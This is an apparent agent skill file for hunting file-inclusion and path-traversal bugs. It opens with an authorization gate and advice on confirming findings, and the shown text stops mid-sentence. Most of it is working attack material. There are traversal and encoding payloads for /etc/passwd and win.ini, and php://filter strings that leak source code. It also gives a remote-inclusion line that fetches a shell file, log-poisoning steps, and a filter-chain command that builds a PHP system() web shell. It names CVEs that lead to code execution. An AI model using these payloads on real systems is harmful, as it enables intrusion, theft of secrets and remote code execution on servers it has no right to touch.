hunt-lfi – Other skill for AI agents

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-LFI — Local / Remote File Inclusion & Path Traversal

Crown Jewel Targets

LFI that reaches code execution is Critical. Potential severity depends on the program and effective access; file-read may be High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.

Possible chains (each needs its own prerequisites and scope):

• PHP filter-chain → RCE — the modern default. A PHP include/require sink that permits suitable filter chains may reach code execution with no upload endpoint and no writable file by chaining iconv conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. A read-only API such as file_get_contents does not execute generated PHP.
• Log poisoning → RCE — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by open_basedir and unreadable log perms, so verify the log is *readable* first.
• PHP wrappers → source disclosure — php://filter/convert.base64-encode/resource=index.php leaks source; read source to find more LFI sinks, secrets, and the include base path.
• RFI → RCE — when allow_url_include=On, ?file=http://OOB/shell.txt pulls and executes remote code. Rare on modern configs but trivially Critical when present.
• phar:// deserialization — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
• zip:// / data:// chains and session/upload poisoning when filters block wrappers.

---

OOB / Blind-LFI Confirmation Gate (Read First)

LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.

What is NOT confirmation

• A different status code or error string for ../../etc/passwd vs a normal value. The app may be string-matching ../ and returning a canned 403/500 without ever touching the filesystem.
• Your input echoed back inside an error message (e.g. failed to open '/var/www/../../etc/passwd'). That is the path *formatter*, not proof the file was read. A genuine read shows file contents, not your path.
• A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.

What IS confirmation

• Direct read: actual file *contents* appear (real root:x:0:0: line, real PHP source after base64-decoding the filter output).
• OOB request: a callback proves a request path, not local file read or PHP execution by itself. It may be SSRF, a scanner, DNS resolver or URL preview; correlate a synthetic nonce and owner-side evidence before classifying.
• Blind read via differential/timing: include a file you *know* exists and is large (/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable timing/size differences are hypotheses, not proof of filesystem access. Use owner-controlled canary content or server-side instrumentation.

Default workflow

1. Pick a unique marker target: prefer an owner-created non-sensitive canary file outside the permitted subtree, with a marker not included in the request. For blind, use a php://filter base64 read and decode — strictly decode complete base64 groups and report recovered bytes only; truncated base64 may not decode to recognizable source.

2. Generate a sub-tagged Collaborator payload per sink (lfi-page.<collab>, lfi-tpl.<collab>) so callbacks identify which parameter fired.

3. Send, wait 30–120s, poll OOB.

4. Claim file read only with content/owner-side evidence; callbacks and timing/length alone do not establish LFI. Echoed paths and lone status-code changes are retracted.

---

Attack Surface Signals

URL / Body Parameters

?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=
?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=
?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}

Technology Stack Signals

| Signal | Vector |

|--------|--------|

| PHP (X-Powered-By, .php, PHPSESSID) | php:// filter-chain RCE, phar://, zip://, data:// |

| Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) |

| Apache 2.4.49 / 2.4.50 (Server: banner) | CVE-2021-41773 / CVE-2021-42013 traversal → RCE |

| PHP-CGI on Windows (XAMPP, php-cgi.exe) | CVE-2024-4577 arg-injection → RCE |

| Java servlet (/WEB-INF/) | WEB-INF/web.xml, classes/, application.properties |

| Python Flask/Django | /proc/self/environ, settings.py, SECRET_KEY |

| Node.js file-serve / res.sendFile, express.static | path-traversal read, require() traversal |

| Windows IIS / .NET | ..\..\web.config, C:\Windows\win.ini, machineKey |

---

Prerequisites and stopping conditions

Before any approved request, bound host/path count, request rate, total requests,

response bytes and runtime; disable unexpected redirects and verify TLS. The

unbounded historical fuzzing commands below are tool-shape examples, not ready

production commands. Preserve evidence privately, use test accounts and record

rollback/cleanup for any separately approved writes. PHAR automatic metadata

unserialization is version/API-dependent; merely opening an archive URI on a

current PHP runtime does not establish object injection. ?/# suffix tricks

depend on URL/wrapper parsing and do not universally truncate local include paths.

Step-by-Step Methodology

Phase 1 — Identify Candidates

cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
  recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302

Phase 2 — Path Traversal (read)

?file=../../../etc/passwd
?file=....//....//....//etc/passwd            # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd          # encode dots too
?file=/etc/passwd%00.png                      # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd                  # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f  (legacy servers)

# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config

Phase 3 — PHP Wrappers (source disclosure)

?file=php://filter/convert.base64-encode/resource=index.php   # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.

Phase 4 — PHP Filter-Chain → RCE (no upload, no writable file)

The modern flagship technique (Synacktiv, 2022). A php://-capable read alone does not execute PHP. Execution requires an include/require evaluation sink plus available filters/conversions and compatible input limits. iconv charset conversions, chained inside php://filter, emit controlled bytes that prepend to the resource until a full <?php ... ?> payload is forged — then include() runs it. No upload endpoint, no log access, no writable path required.

# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):
#   git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id

Notes / gotchas:

• Requires the include sink to accept the php://filter sch

… (full content is in the download package)